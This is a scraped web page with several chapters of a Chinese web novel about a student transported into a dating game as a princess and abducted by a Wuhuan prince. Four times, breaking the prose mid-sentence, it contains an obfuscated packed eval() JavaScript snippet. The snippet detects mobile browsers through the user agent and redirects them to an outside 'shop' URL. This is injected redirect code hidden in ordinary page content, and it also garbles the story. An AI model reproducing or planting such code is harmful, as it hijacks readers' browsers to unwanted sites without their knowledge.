;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399964|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧骁:“……难道说你还记得当年的我?” 他们驰过王都北面的旷野,空中飘起了小雪,落在萧骁宽阔而灼热的肩背上,一片一片俱化为温柔的雨滴。姬无瑕在他暖和的怀里打起了小呼噜。 - 半日后,两人到达一个北方的小镇,姬无瑕在马上睡饱了,肚子咕咕叫。 姬无瑕饿醒了,道:“你这个劫匪,劫人又劫色,怎么还不给人饭吃!” 萧骁道:“没钱。我们乌桓人出兵一向是一路劫掠,不带补给,也没有金银。要么我去抢?你在这里等我。” 萧骁把马停在乡下的集市边,眼神一扫,似乎在物色抢劫对象。冰寒的目光落在路人身上,路人纷纷捂紧包袱绕道而行,附近一笼子鸡瑟瑟发抖互抱成毛绒团。 “别别!”姬无瑕赶紧扯着他的衣服,不让他下马。 “怎么会没钱呢?”姬无瑕往萧骁身上摸来摸去,摸出那个金狼面具,试图从角落上掰下来一点渣。 “喂!”萧骁无奈把面具抢了回去,掏出点碎银子给姬无瑕。 姬无瑕偷瞥他脸色,不知为何,萧骁没发脾气,也没跟姬无瑕算先前揭穿他身份的账,甚至多少还有些纵容的意思。 片刻后,姬无瑕坐在大集面摊的小板凳上,叉开腿,一个人干掉了满满两大碗扯面,连带葱花蒜苗,并把面汤喝了个底朝天。 “有这么饿吗?”萧骁自己都吃不下这么多,震惊地看着姬无瑕胡吃海塞。 姬无瑕抹嘴,狂野打嗝,竖出个大拇指:“好吃!萧骁你不爱吃面吗?” 萧骁表情古怪,过了一会儿说:“你已经知道我的名字了,我还不知道你的。” 姬无瑕道:“啊,我不是叫白璧吗?” 萧骁不耐烦道:“我是外族人,不是傻子!白璧是称号,你总有个名字吧?!闺名!” 姬无瑕心道,可是我也不知道白璧公主闺名叫什么啊,瞎编一个会不会露馅?不过露馅好像也没什么,还能比公主是男的更离谱不成? 姬无瑕道:“哦,那你叫我姬无瑕吧。” 萧骁:“你别骗我,不是临时编的吧?” 姬无瑕道:“骗你做什么?白璧无瑕嘛,是不是很讲道理?” 萧骁若有所思。姬无瑕又道:“太撑了我走不动,让我靠靠……” 姬无瑕坐惯了现代有背的椅子,无意识地向后瘫倒,萧骁赶紧兜住他,把他转了个方向,面朝面摊外,背倚在自己身上。 姬无瑕歇了会儿,心中一动,从怀里掏出玉玺。 萧骁:“你又要干嘛?” 姬无瑕:“嘿嘿,我先验验货。” 他趁面摊老板不注意,把玉玺往装辣子的陶罐里蘸了一蘸,取出,在包袱皮上盖了个大印。 包袱皮上出现八个大字——鬼画符一样,姬无瑕不认识。 姬无瑕哭了,这是篆书还是金文啊?不知这游戏的背景设定到底是哪朝哪代,也许是架空胡诌的? 他正在专心研究字,突然身旁传来竹竿点地的“咄咄”声响,一个黑衣的瞎子侧耳倾听,继而走到姬无瑕面前。 8.萧骁:15 姬无瑕以为他要吃面,头也没抬,好心伸脚勾了一张凳子到他面前。 瞎子慢吞吞地用竹竿戳正了凳子的方位,坐到姬无瑕桌畔,正对着那张盖了印的包袱皮。 姬无瑕歉意地把包袱皮收了起来。 萧骁拉着姬无瑕要走,瞎子却开口道:“且慢。” 姬无瑕:“嗯?” 瞎子的嗓音入耳竟十分清越动听,像一道潺潺溪水。 姬无瑕这才正眼看了瞎子:脸颊苍白秀美,嘴唇色淡,却看上去很是柔软温润;眉间系着黑布条,布条末端垂在肩膀上,肩背挺拔。 萧骁明显感觉到有什么不对,不想让这瞎子跟姬无瑕搭话,但姬无瑕已经生出了几分兴趣。 貌美的瞎子啊,感觉瑟瑟的。姬无瑕有些心痒。难道这个瞎子也是可攻略的男主之一?然而《白璧传奇》这个游戏他虽然玩得潦草,里面却只有三个男主啊,好像不包括这么个瞎子。 他到底是来做什么的……姬无瑕上下打量,想看出这瞎子是武林高手的端倪来。 但左看右看,瞎子未带任何武器,只看出手指修长、关节利落。瞎子食中二指在饭桌上敲了一敲,对着姬无瑕笑眯眯地说:“这位小兄弟心善,瞎子身无长物,只想给小兄弟算上一卦。” “怎么算?”姬无瑕好奇心起。 瞎子把手掌一翻:“看手相。” 姬无瑕看了看瞎子的手,又抬头看了看瞎子眉间的黑布,突然发觉这块黑布上似乎有些暗纹,不像块普通粗布,而且它的边缘有毛边,看上去是从一整块布上临时撕下来的。 姬无瑕顺着瞎子的黑衣往下瞄,发现瞎子的黑衣前襟也有暗纹并毛边,两厢对上了。 该不会是……皇后派来救我的吧!母后!好意心领了,好歹派个看得见人影的! 姬无瑕偷瞥萧骁的脸色,萧骁正不悦地盯着瞎子。 瞎子当着他们的面,坐在小板凳上,用高难度姿势把右脚架在了左膝上,悠然地晃了晃。 姬无瑕心道,这么矮的凳子,亏你能架二郎腿,可见柔韧性还不错,是个高人。 这么想着,姬无瑕便无视了萧骁的虎视眈眈,把手掌交到瞎子手里,道:“未请教……大师的名号。” 姬无瑕心里冒出的词儿不是“大师”,而是“江湖骗子”,是以喊得有点勉强。 瞎子的手比姬无瑕大了一号,手掌托着他,拇指轻柔地按在姬无瑕的手心,露出神秘的微笑:“小人聂染,出身西蜀。” 这句话带着一点四川口音,姬无瑕听着有点怪,这瞎子的声音……怎么有点熟悉?在哪里听过? “西蜀来此处可挺远的吧。”姬无瑕说着没意义的废话,“您又……不太方便。” 聂染道:“方便得很。世人嘴上说远,多是心里畏难。其实若心有向往之人,千里路途朝夕可至。” 姬无瑕欺负他看不见,暗自撇嘴。 聂染却似能猜到姬无瑕的神情,又道:“小兄弟不信?” 姬无瑕:“呵呵。” 萧骁讥讽道:“江湖骗子。” 聂染握着姬无瑕的手,摇了摇,挑眉道:“小兄弟这命途,实在是贵不可言。” 姬无瑕点头,公主嘛,是挺贵的。“聂大师还看出什么来?” 聂染一本正经地说:“唔,小友当我说瞎话呢?皇亲国戚不算贵,小友这命,只怕不是凡尘中人,乃是星宿降世。” 姬无瑕:“???” 姬无瑕玩世不恭的神色一收,注视着聂染,试图分辨他是在故弄玄虚唬人,还是真的看出自己是穿越的。 聂染若无其事地任他看。他的皮肤像上好的瓷片一样白,眉毛浓黑,美得不似真人,倒有点像水墨画中之人。姬无瑕突然心中一动,有什么想法影影绰绰地浮上水面:这可不就是个标准的纸片人吗? 聂染双手合拢,把姬无瑕的手指包裹成拳头,意味深长地道:“可惜,天上的星星落地,璀璨光明,却被困于囚笼之中……” 姬无瑕:“!!!” 萧骁忍让了许久,听到瞎子这句“困于囚笼”终于听不下去了。他也不啰嗦,直接拔出弯刀,“锃”的一声清鸣,迎面向聂染砍去。 聂染大惊失色:“哎哟哟可吓死瞎子咯!”说着一个后仰,上半身靠腹肌拉紧,几乎仰到与地面平行,避开了萧骁这石破天惊的一刀。 姬无瑕倏然站起,面摊老板大喊着把一整团扯面扔进锅里,溅起一大片水花。 “杀人啦杀人啦!”周遭的食客用筷子狂敲碗底。 聂染屁股还坐在凳子上,只出脚尖踹起桌面,挡住了萧骁的第二刀! 萧骁的刀尖扎进木头桌子,聂染语速飞快:“大个子你不要误会!我不是说你囚禁了这位小兄弟啊!” 萧骁面若寒霜,腰力迸发,将偌大的桌面一甩,抽回弯刀。聂染又飞起另一脚,撩着桌板兜回来,严丝合缝地套回萧骁刀上。 由于两次扎的是同一个口子,弯刀甚至戳得更深了一些。 躲在旁边桌子底下的姬无瑕:……聂染,你这瞎装得可挺像的。 面摊老板的小儿子也跟姬无瑕蹲在一处避难,给姬无瑕递了一把瓜子。 姬无瑕道:“谢了。”于是开始手握瓜子观赏萧骁揍聂染。 虽说是塞北大汉揍瞎子,塞北大汉使弯刀,瞎子空手,聂染却丝毫不落下风。聂染围着面锅打转,塞北大汉连他蒙眼黑带的尾巴都没砍着。但瞎子又叫得足够凄惨,一会儿引来了一大群赶集人围观。 小儿子点评道:“嗓子比隔壁屠户杀的猪还嘹亮。” 姬无瑕:“……形容点好的。” 小儿子改口道:“比怡红院的红阿姑还嘹亮。” 姬无瑕:“……” “这两个男人是在抢你啊?”小儿子问。 “是啊是啊。”姬无瑕自豪地说,“你觉得我选哪个好?” 小儿子比较了一番萧骁与聂染,又看了看姬无瑕,一脸遗憾和不以为然。 姬无瑕:“如何?” 小儿子:“这俩帅哥一个瞎了眼,一个瞎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423378|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。” 你懂个屁!老子国色天香!姬无瑕看在瓜子的份儿上,不跟这小子计较,恶狠狠地嗑了一枚瓜子。 小儿子叹了一口气,道:“我选那个塞北猛男吧,瞎子留给你,毕竟瞎子看起来不太适合传承我家的扯面老字号,猛男的手劲倒还可以,应该比我爹扯得还快。” 聂染只不还手,虽然不输,看着也不像能赢的样子,姬无瑕心急,在旁给他加油打气。小儿子道:“你怎么偏心瞎子?”于是小儿子开始给萧骁加油,两人喝彩声此起彼伏。 “瞎子厉害!揍趴弯刀男!”姬无瑕一边喊,一边素质低下地喷出满地瓜子皮,一嘴两用。 “弯刀哥哥帅气!哥哥娶我!”小儿子叫道。 姬无瑕怒了:“他不可能娶你好吗?!他说过要娶我的!” 小儿子大惊:“你又不帮他,还想他娶你?吃着碗里的看着锅里的?渣男吧你?!” 姬无瑕想想也对,但谁管得住未来的皇帝、乙游的女主收后宫呢?毕竟整个世界都是围着他转的。 哎,以后等我登基了,我一定要把他们全收了,一个陪我上朝,一个给我暖床,还有一个端茶送水。萧骁如果胆敢有什么意见,就把他五花大绑塞床底下,天天听皇后和情夫偷情。 姬无瑕对美好的未来无限遐想,但刚磕了三枚瓜子,镇上的官兵就来了,一边大声喝止一边排开围观人群。 萧骁见情况不妙,打了个呼哨,面摊旁的鹅黄就立刻冲进来,低头拱开姬无瑕避难的桌子。 姬无瑕已经认定聂染是来救他的,当然不肯走。鹅黄又往他腿间钻,先把他顶到了头上,再高抬脖颈,让他倒滑到马背上。 姬无瑕只来得及“哎哟”了一声,萧骁便也跳上马,两人面对着面,萧骁一抖缰绳,鹅黄飞速冲出了人群。 姬无瑕赶忙往马后看,这瞬息间聂染已经没了踪影,只剩下面摊老板大喊:“我的桌子!我的锅!我的面汤!赔钱啊,赔钱!” 萧骁打马飞奔,姬无瑕道:“慢点,慢点,我吃太饱要颠吐了!呕……” 萧骁不得已放慢了马速。 姬无瑕脑门顶着他胸口,低头偷偷摊开手,看掌心里握着的一枚短竹哨,竹哨末端刻了一个潦草的“聂”字。 - 聂,聂染。 夜里,姬无瑕躺在荒郊野外的一处客栈的床上,把竹哨跟玉玺揣在一起,手指摩挲上面的“聂”字,暗暗回忆今日这瞎子的音容笑貌。他趁看手相的机会把这竹哨塞给自己,是什么意思?让他吹? 那几句似是而非的话又是什么意思?怎么说的来着,星辰降世……姬无瑕突然一惊,从床铺上鲤鱼打挺,想起在哪里听过聂染的声音了!聂染的嗓子跟那AI一般的系统一模一样!就是因为他说话不像AI,姬无瑕白天才没有直接听出来! 难道是这瞎子不是男主而是系统?!姬无瑕心中震撼。 他震撼了一会儿,又想,可能也不见得罢,万一是同一个CV呢? 姬无瑕又躺回了床铺上。 9.萧骁:5 这间客栈的位置十分僻静,远离官道,除了他们之外没有其他客人,初春也没有什么虫鸣鸟叫,周遭只有萧骁在洗冷水澡的泼水声。 这个客栈甚至不供应热水,姬无瑕是万万不肯洗的,在古代冻感冒了没有抗生素吃。 萧骁本来板着脸洗澡,但看到姬无瑕神经病一般弹起来,躺回去,过一会儿不知道想到了什么又弹起来,又躺回去,那神色逐渐就逐渐软化,变成了哭笑不得。 他从浴桶里爬出来,姬无瑕马上捂住眼睛,礼貌地从指缝里看。 萧骁套了条裤子,咳了两声,把脸板回去,然后面无表情地把姬无瑕的手拉下来。 姬无瑕偷瞄萧骁神色,惴惴道:“我真没偷看你洗澡!” 萧骁道:“谁跟你说偷看的事儿?!” 姬无瑕:“唔,原来偷看不要紧吗……” “别转移话题,”萧骁开始跟他算总账,“我听到你今天给那个瞎子加油?” 萧骁:“‘揍趴弯刀男’,嗯?” 系统提示姬无瑕:萧骁好感度降低10点。 姬无瑕心想,妈呀真的生气了呀,好感度都降了。 他睁大眼睛,装出一副真诚的样子:“揍趴你是面摊老板儿子喊的,我喊的是‘弯刀哥哥帅气’和‘哥哥嫁我’!” 萧骁面色稍霁,但马上又板住脸:“谁要嫁你?明明是你要嫁我!” 姬无瑕讨好地说:“哎咱俩谁嫁谁不都一样嘛!” “拿出来。”萧骁道。 “啊?什么东西?”姬无瑕装傻,把哨子藏在身后。 “和光派的传音哨子。”萧骁冷着脸道。 “哨子是人家送给我的!你凭什么拿走!”姬无瑕据理力争。 萧骁道:“你大概不知道这个哨子的用处吧?” 姬无瑕:“这就一个普通竹哨!能有什么……” 萧骁冷酷地看他,姬无瑕像是被监考老师抓住作弊的考生,汗毛都立起来了。 姬无瑕倒退着往床里面缩:“你你你别过来啊……” 萧骁一脸威胁地逼近,俯身把他拢在自己跟床铺之间。姬无瑕只好后背紧贴床板,微微喘着气,偏过头去避免跟他接触到。 萧骁“哼”了一声,手伸进姬无瑕的外衣里。姬无瑕的内心“啊啊啊”乱叫,心道,哥哥你不是吧,又要来霸王硬上弓那一套吗?我还没做好心理准备! “不,不要啊……”姬无瑕弱弱地说。 萧骁不容他求饶,手指顺着肋骨向外抚,双手擒住姬无瑕,左右开弓——挠痒! 姬无瑕条件反射地伸手去推,但萧骁的肌肉像铁一样,四体不勤的大学生姬无瑕根本拗不过他。 “我告诉你我不怕这个!”姬无瑕一开始还喘息着嘴硬,但瞬间脸就红了,说话断断续续的,“老子……啊,这个对我没用!啊……哈哈哈哈……” 姬无瑕忍不住大叫起来,笑得满床翻滚:“对,对不起……哥,是我错了!饶了我吧!” 姬无瑕崩溃了,不停求饶,但萧骁就是不肯放过他,姬无瑕气都喘不上来了,脸颊和腹肌都酸痛到不行,抬脚踹萧骁,又被萧骁用腿夹住。 萧骁道:“还想勾搭别人?下次挠你一整夜。” 姬无瑕满脸眼泪,道:“不敢了,再也不敢了!” 萧骁攻势稍停,道:“哨子拿出来。” 姬无瑕喘了口气,眼珠一转,正要想句什么话来说,萧骁瞥见他那不老实的神色,作势又要挠。 姬无瑕一个哆嗦,乖乖地把竹哨掏了出来。 萧骁接过竹哨,但还不起身,摁着姬无瑕深深地闻了闻他的脖颈。 姬无瑕忐忑道:“怎么?是不是折腾一天臭了?” 萧骁不答话,放开他,在他身边并排躺下。 姬无瑕赶紧闻了闻自己,身上倒是不臭,反而有一种淡淡的香味。不知这算玛丽苏光环还是信息素,出的汗都是香的。 他白天骑马赶路时补过觉了,萧骁没机会补,全靠身体强壮硬撑着,这会儿躺下便合眼了。 姬无瑕像条毛虫,缩在被子卷里防御自己,露出两个滴溜溜转的眼睛,盯着萧骁看。萧骁赤裸上身,抬起精壮手臂枕着,姬无瑕笑得没劲儿了,又拿萧骁没办法,手贱想揪揪他的腋毛,又怕萧骁再报复自己。 姬无瑕忿忿不平地躺了一会儿,终于放弃,毕竟人在屋檐下,不得不低头。但他也睡不着,随即起了个话题:“那些跟着你的骑兵,后来怎么样了?” 萧骁在黑暗中道:“他们会自己跑掉的,汉人逮不住他们。” 姬无瑕:“哦。”实话说,他还真的有点担心,即便是纸片人的世界,他也不想因为自己死人。 过了片刻,姬无瑕又问:“你为什么来王都,就是为了抓我?” 萧骁实在是困了,不耐烦道:“祖宗,你能让我睡觉吗?” 姬无瑕道:“好的,乖孙子。” “我跟我哥哥打赌。”萧骁闭着眼睛道。 “啊?”姬无瑕过了会儿才意识到萧骁在回答他的问题,“赌什么?” 萧骁:“两千骑兵,一个月,夺取大周庙堂至宝白璧公主。成了,他就让出下一任乌桓单于的位置。” 姬无瑕:“……” 原来自己是个赌注。 姬无瑕忍不住觉得荒谬,乙游不都是万人迷配置吗?为什么他不是因为深爱自己才来的呢? “所以你不喜欢我?”姬无瑕茫然道。 “别自作多情好吧?”萧骁勾起了嘴角,“本来也不喜欢你。” 妈的。姬无瑕心道,那我也不喜欢你了。 北方的春夜倒寒,姬无瑕把被子团了一团,翻向内侧,决定哄自己睡觉。然而他越想越气,半个时辰都没睡着:穿越也就算了,竟连个主角待遇都没有!说好的万人迷呢?说好的金手指呢?虽然萧骁在游戏里,本来就是这种傲娇霸道、口不对心的人设,但姬无瑕真人面对他时,还是会非常气愤啊! 大半夜,姬无瑕翻来覆去,想爬起来把萧骁揍个鼻青脸肿,萧骁反而神色松弛,舒舒服服地睡着了,刷子一般的浓密睫毛随着呼吸微微颤抖。 姬无瑕夜里做了个梦,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434393|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们回到了风吹草低见牛羊的大草原,萧骁的哥哥——大概就是一个长胡子成熟版本的萧骁,游戏里没有立绘——也爱上自己,两人争风吃醋不断,在草坡上骑马决斗,输的向自己献爱,赢的向自己献身,过一阵子又决斗,又交换角色…… 次日,别的穿越者从一百八十平米的大床上醒来腰酸背痛,姬无瑕从客栈木板床上醒来,也腰酸背痛——床太硬咯的。 身旁不远处,萧骁正在洗脸。 “怎么来热水了?”姬无瑕看着那热气,迷迷糊糊地道,“给我也打一盆。” 萧骁不理他,洗完脸用一块布巾擦干,示意姬无瑕用他洗过的水。 姬无瑕睡眼惺忪:“你给我打新的。” “不用算了。”萧骁不悦,端起水盆干净利落地泼出窗外。 姬无瑕想:这男人洗澡可以用冷水,但洗脸必须用热水,可见是脸上皮肤娇嫩,需要保养。 在姬无瑕腹诽的目光中,萧骁穿戴整齐,胡服窄袖利落潇洒,不苟言笑地肃然戴上了他的金狼面具。 “为什么戴回去?”姬无瑕诧异道。这客栈里虽说人不多,只有老板和老板娘夫妻两个,却也不合适戴面具吧? 萧骁不答,道:“下来。” 姬无瑕拖拖拉拉地起床,一边套衣服一边道:“这就要赶路吗?太早了点吧!” 这时间明显比早八还早,姬无瑕本该继续生昨夜的气,奈何萧骁显得比他还气,他又拿萧骁没办法。他打了个哈欠,就要去开房间门,萧骁一把将他扯了回来。 “又怎么了?”姬无瑕道。 “领口系好。”萧骁不太高兴。 姬无瑕道:“我下楼再要一盆热水,又不去外面,没关系吧?真不是要逃跑。” 萧骁见他还在啰哩巴嗦,直接一手把人揪起来,另一手将他领口的扣子扣到顶,道:“别丢我的人。” 姬无瑕被他揪着,摸不着头脑:“到底怎么回事?” 他推开房间门,登时被外面惊呆了:小小的一个二层客栈,竟挤下了上百乌桓人。楼下大厅里一共三桌,条凳上坐得摩肩接踵;楼梯上每一级台阶都站着俩守卫,左边一个,右边一个。问题是守卫们都挺壮,楼梯却只是三尺多宽的木板,这一下几乎把楼梯占满了,过不去人。 见姬无瑕出来,满屋子的人,包括挤在楼梯上的,以及房梁上蹲守的影卫,全都“啪”的一声就地单膝跪地,齐齐向他行礼。年久失修的楼梯为此晃了两晃,差点塌掉。 姬无瑕震惊了:“免礼平身……” “不是跪你的。”萧骁从后面倒提着他的脖领子,把他提了回去。 所有人大声喊了一句听不懂的话,只有离他们最近的一名乌桓侍卫负责给他们拦着门,所以没跪,只鞠了个躬,道:“王子,终于追上您了。” “都起来吧。”萧骁说,“摆早饭。” 于是一百多人乱哄哄地起身、散开,其中五十来个人去烧水煮饭,厨房灶台只有一个大锅,空间逼仄,挤得像早高峰时候的地铁;又有五十来人去处理食材,围攻了客栈老板养的鸡。 10.萧骁:5 众人散开后,客栈大厅里的人口密度总算是正常了,萧骁大马金刀地在条凳上坐下,问那唯一会汉话的侍卫:“路上可还顺利?” 侍卫遂汇报了一路分散撤离的情况。姬无瑕竖起耳朵偷听,这才听出来,这帮乌桓骑兵其实比他们走得慢不少,主要因为鹅黄乃是日行千里的罕见神驹,虽然带着两个人也日行了八百里,只是无瑕坐惯了汽车没什么感觉。 另外这屋里的一百人算是萧骁亲卫,都是实打实的乌桓勇士,会说汉话这人是亲卫的百夫长,其他九百人则散在附近的山林里,互相以鹰隼传信。 “把那个给我吃点。”饭还没烧好,姬无瑕自觉地坐在萧骁对面,指了指百夫长献上的肉干。 百夫长偷眼看这穿太监服饰的少年,一脸想问又不敢问的八卦神情。 “是我抓的女奴。”萧骁冷冷解释道。 姬无瑕对他怒目而视。 也就一夜功夫,萧骁在他的小弟面前马上态度就不同了,称得上是翻脸不认人。 对着部下有偶像包袱是吧?姬无瑕想,我就偏要把你的偶像包袱拆了。 他扭头对着那百夫长邪邪一笑,百夫长马上鸡皮疙瘩都起来了。 饭摆上来,一屋子上百人侍立在旁,围观他们吃饭。 萧骁看姬无瑕的眼神很有点得意,像在说“怎么样排场大吧?”。 但姬无瑕完全不受影响,毕竟学校食堂占地上千平方米,排场肯定比这个大,习惯了。姬无瑕与萧骁两人面对面坐下开始扒饭,百夫长虽然也坐着,却不敢放开吃,躲在海碗后面暗中观察。 姬无瑕是真的饿了。这穿越的世界虽然架空,总算是古代吧?食材原生态无污染,小米饭香得他舌头都要咬掉,加上一只走地鸡简单抹盐烤熟、切片,每一片都带一点点焦皮,配上酸甜爽口的腌萝卜…… 姬无瑕大快朵颐时,听到旁边所有亲卫齐齐咽口水的声音。 萧骁吃饭如风卷残云,只片刻,他便一抹嘴,“哐”的一声把左脚踩在侍卫的凳子上,姬无瑕为了不输气势,也赶紧把右脚踩到同一条凳子上,百夫长高声惨叫,屁股下的凳子翻倒,饭碗飞了出去。 姬无瑕:“你看看,都是因为你,把人摔着了。” 萧骁:“怎么是因为我?明明是你踩上去凳子才倒的。” 姬无瑕:“你蛮力那么大,我那么柔弱,怎么可能是因为我这点力气?” 萧骁:“我从小踩时越的凳子,从来没踩翻过!” 百夫长名唤时越,从地上爬起来,弱弱地说:“王子王妃别为属下吵了,属下不配。” 姬无瑕、萧骁异口同声地说:“谁是他王妃?!”“谁说他是我王妃?!” 时越埋怨哪边也不是,苦着一张脸揉屁股。 姬无瑕又想到了一个馊主意,对时越勾了勾手指,和颜悦色地说:“我跟你讲,你们王子啊,其实男女通吃——所以一定要当心自己屁股!” 时越小心翼翼:“那你屁股好痛哦?等会儿还要赶路,我给你找个软垫好骑马……” 姬无瑕顿时炸了:“我们没有啊!!!你不要误会!” 时越道:“别不好意思嘛……算了骑马还是会痛,我去找辆车吧。” 他转头请示萧骁,萧骁怒道:“不许去!” 时越慈祥地笑了,一脸看小情侣闹别扭的表情:“王子,事后要温柔一点老婆才不会跑路,不丢人。” 萧骁也炸了:“他不是我老婆!而且他也不疼!” 时越像挨了一发九天神雷,表情一下子僵住了:“王子,难道你……” 姬无瑕马上反应过来,接话道:“对对,我是他老公,所以屁股疼的是你们王子!他今天不能骑鹅黄了,要坐车……” 萧骁怒吼道:“姬无瑕看我不打死你!” 姬无瑕马上往桌子底下一钻,道:“你可想想清楚,打死我你的大单于之位就没有了!” 萧骁深深地吸了一口气。时越:“啊?这跟大单于又有什么关系?” 萧骁不停地把弯刀拔出来又塞回去,发出如同指甲刮黑板一般的声音,来发泄心中的烦闷。时越怔了片刻,道:“等等,我知道了,你是白璧公主?王子,你捉到真的白璧公主了?!” 时越惊喜不已,差点就地载歌载舞,赶忙钻到桌子底下,姬无瑕对他摆出了一个讪讪的笑脸。 时越脑门上灯泡“叮”的一声亮了:“我懂了!你是女扮男装!怪不得屁股不疼……” 姬无瑕:“额……”虽然说得通但是…… “是白璧公主啊!我们王子的大单于之位有救啦!”时越从桌子下钻出来,用乌桓语对着周遭的亲卫们大声宣布。 亲卫们马上聚拢过来,七嘴八舌说着听不懂的话,指指点点,议论纷纷。 时越道:“看这吹弹得破的皮肤,水汪汪的大眼睛,巴掌大的小脸,白璧公主果然不愧为天下第一的美人!” 姬无瑕在桌子底下自豪地扬了扬脸,然后脑门磕到了桌板,“咚”的一声。 时越又被吓了一跳,指挥亲卫把桌子连带上面的碗筷整个抬走,又请姬无瑕在条凳上坐稳,扒拉了一番他的头发,观察他头皮上的伤。 姬无瑕揪起一撮自己的刘海,哭诉道:“我的刘海受伤了!好痛!好痛啊!” 时越刚要给他吹一吹,看萧骁在旁虎视眈眈,想起来这白璧是他们王子的女人,自己这么吹不太好,于是恭敬谦让道:“王子,你来吹吧!” “你们都给我正常一点!!!”萧骁发出了崩溃的呐喊。 - 片刻后,萧骁实在受不了了,要求马上赶路。这时候,旅店老板又出来添乱。他从柴房里冲了出来,一边扯身上的绳子,一边大声哭嚎:“你们吃我的鸡怎么不给钱啊?!” 老板冲到厅堂中央,稍作斟酌,绕开了凶神恶煞的萧骁,抱住了看上去最不会揍人的姬无瑕的大腿。 姬无瑕:“对对对你们怎么不给钱?!” 老板见这眉清目秀的汉人少年被乌桓人众星捧月般簇拥着,更加来劲了:“吃鸡必须得给钱!” 姬无瑕帮腔:“小米倒是可以当送的。” 萧骁不耐烦道:“乌桓人到中原来何时给过钱?!再吵把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445125|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一刀砍了!” 老板捶胸顿足道:“我苦命的鸡啊!” 乌桓亲卫们听不懂,哄堂大笑。 “你到中原来怎么不守中原的规矩呢?”姬无瑕道,“快给钱!” 萧骁道:“鸡你也吃了,怎么不是你给钱?!” 老板马上倒戈了,扯着姬无瑕道:“对,你也给钱!” “啊这。”姬无瑕想了想,道,“可是我情况特殊,要补身体啊!这补身体的钱不该你出吗?” 姬无瑕故意挺了挺他不存在的小肚子。 时越看看他的肚子,今日第二轮震惊了:“你,你怀了我们王子的孩子?!我们王子有后了?!” 时越从小跟随萧骁,虽然名义上是他的亲卫长,实际上却与哥哥无异,今天接连听到两个爆炸的好消息,萧骁不仅抓住了白璧,赢了大单于之位的赌约,还有了孩子,简直为他高兴疯了。 时越赞叹道:“双喜临门啊!” 萧骁:“你别听他瞎说!他怀不了!” 姬无瑕:“你怎么知道我怀不了?!” 姬无瑕心想,你说啊,说我是个男的,你看他们信不信白璧公主是个男人,你的大单于之位还要不要了? 萧骁也想到了同一件事,一时语塞:“你!” 姬无瑕小人得志,双手叉腰。 老板:“你们讨论完了没有?我的鸡钱到底谁付?” 时越赶忙道:“我付我付,你放心。” 时越掏出一块明晃晃的金子付账,姬无瑕心想,好家伙你个萧骁,这叫“乌桓人从不带钱”?! 时越出手阔绰,付了至少一百只鸡的钱,让老板不用找了,众人终于可以再次上路。 外头寒风一吹,姬无瑕冷静了不少,想起自己方才的所作所为,坚决不肯跟萧骁再共乘一骑,怕挨揍。好在乌桓人的马有得多,时越单独给他牵来一匹。 姬无瑕得意地刚要上马……发现自己不会骑马。 这很正常,骑马只有在内蒙古地区才是当代大学生的必修课,姬无瑕这种南方蛮子,又不是什么上流社会的贵公子,自然不会骑。 他讪讪地问时越:“要么你带我吧?” 不想萧骁在旁边竖着耳朵听着呢,听得这一句,马上说:“时越,不要带他!” 姬无瑕怒道:“不带我就不走了!” 萧骁道:“找根绳子拴着他,让他跟着马后跑!” 姬无瑕飞快转身,抱紧萧骁大腿:“孩子他爹,好歹是一条小生命,你就这么不想要这个孩子吗?!” 时越脸色马上就扭曲了,指责萧骁:“王子,王妃怀了你的孩子,你怎么能这么对她!” 萧骁自幼生长于大漠,女孩都没接触过几个,何尝见过姬无瑕这种死皮赖脸的混世魔王……不对,姬无瑕也不是女孩儿啊!萧骁脸都青了。 最后,两人在时越恳求的目光逼迫下,还是不得不共乘一骑,这样时越才满意地笑了。 姬无瑕在萧骁怀里小声道:“放!我!回!去!” 萧骁嗤笑道:“怎么可能?你是我的单于之位的象征。” 11.萧骁:5 经过姬无瑕这么一闹,萧骁也不能把他怎么样,近有时越护着,远有大单于之位吊着,只能好吃好喝地供着姬无瑕,以后慢慢再议。 